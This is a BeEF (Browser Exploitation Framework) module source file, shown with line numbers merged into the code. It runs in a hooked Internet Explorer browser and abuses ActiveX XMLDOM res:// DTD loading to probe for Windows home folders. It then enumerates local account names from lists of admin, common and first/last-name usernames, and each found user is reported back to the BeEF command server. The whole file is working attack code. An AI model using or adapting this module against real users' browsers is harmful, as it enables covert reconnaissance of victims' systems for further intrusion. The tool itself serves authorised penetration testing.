Path: blob/master/modules/host/detect_users/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78if (!("ActiveXObject" in window)) {9beef.debug('[Detect Users] Unspported browser');10beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());11return false;12}1314function detect_folder(path) {15var dtd = 'res://' + path;16var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">';17var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");18xmlDoc.async = true;19try {20xmlDoc.loadXML(xml);21return false;22} catch (e) {23return true;24}25}2627// Detect home directory28beef.debug('[Detect Users] Checking for home directory');29var home_dirs = ["C:\\Documents and Settings\\", "C:\\Users\\"];30var default_users = ['Default', 'Default User', 'All Users'];31var home_dir = '';32for (var i = 0; i < home_dirs.length; i++) {33for (var j = 0; j < default_users.length; j++) {34var result = detect_folder(home_dirs[i] + default_users[j]);35if (result) {36beef.debug('[Detect Users] Found home directory: ' + home_dirs[i]);37home_dir = home_dirs[i];38break;39}40}41}4243if (home_dir == '') {44beef.debug('[Detect Users] Could not find home directory');45beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error());46return false;47}4849// Enumerate common usernames50var users = [51// Localised administrator accounts52'Administrator', 'Järjestelmänvalvoja', 'Administrateur',53'Rendszergazda', 'Administrador', 'Администратор', 'Administrador',54'Administratör',55// Common administrator accounts56'adm', 'admin', 'localadmin', 'root',57// Common usernames58'1234', '12345', '123456', 'helpdesk', 'support', 'user',59'guest', 'public', 'demo', 'test', 'temp', 'www', 'svc'];60for (var i = 0; i < users.length; i++) {61var user = users[i];62beef.debug('[Detect Users] Checking for user: ' + user);63var result = detect_folder(home_dir + user);64if (result) {65beef.debug('[Detect Users] Found user: ' + user);66beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());67}68}6970// Common first name / last name combinations71// Source: https://techcrunch.com/2009/06/23/ever-wondered-what-the-most-common-names-on-facebook-are-heres-a-list/72var first_names = ['John', 'David', 'Michael', 'Chris', 'Mike',73'Mark', 'Paul', 'Daniel', 'James', 'Maria'];74var last_names = ['Smith', 'Jones', 'Johnson', 'Lee', 'Brown',75'Williams', 'Rodriguez', 'Garcia', 'Gonzalez', 'Lopez'];7677// All first names78// Format: <FIRST>79for (var i = 0; i < first_names.length; i++) {80var user = first_names[i];81beef.debug('[Detect Users] Checking for user: ' + user);82var result = detect_folder(home_dir + user);83if (result) {84beef.debug('[Detect Users] Found user: ' + user);85beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());86}87}8889// All first names with all last names90// Format: <FIRST><LAST>91for (var i = 0; i < first_names.length; i++) {92for (var j = 0; j < first_names.length; j++) {93var user = first_names[i] + last_names[j];94beef.debug('[Detect Users] Checking for user: ' + user);95var result = detect_folder(home_dir + user);96if (result) {97beef.debug('[Detect Users] Found user: ' + user);98beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());99}100}101}102103// All first names with all last names, joined by '.'104// Format: <FIRST>.<LAST>105for (var i = 0; i < first_names.length; i++) {106for (var j = 0; j < first_names.length; j++) {107var user = first_names[i] + '.' + last_names[j];108beef.debug('[Detect Users] Checking for user: ' + user);109var result = detect_folder(home_dir + user);110if (result) {111beef.debug('[Detect Users] Found user: ' + user);112beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());113}114}115}116117// First initial + last name118// Format: <A-Z><LAST>119for (var i = 0; i < last_names.length; i++) {120for (var j = 65; j <= 90; j++) {121var user = String.fromCharCode(j) + last_names[i];122beef.debug('[Detect Users] Checking for user: ' + user);123var result = detect_folder(home_dir + user);124if (result) {125beef.debug('[Detect Users] Found user: ' + user);126beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());127}128}129}130131// Last name + first initial132// Format: <LAST><A-Z>133for (var i = 0; i < last_names.length; i++) {134for (var j = 65; j <= 90; j++) {135var user = last_names[i] + String.fromCharCode(j);136beef.debug('[Detect Users] Checking for user: ' + user);137var result = detect_folder(home_dir + user);138if (result) {139beef.debug('[Detect Users] Found user: ' + user);140beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());141}142}143}144145});146147148149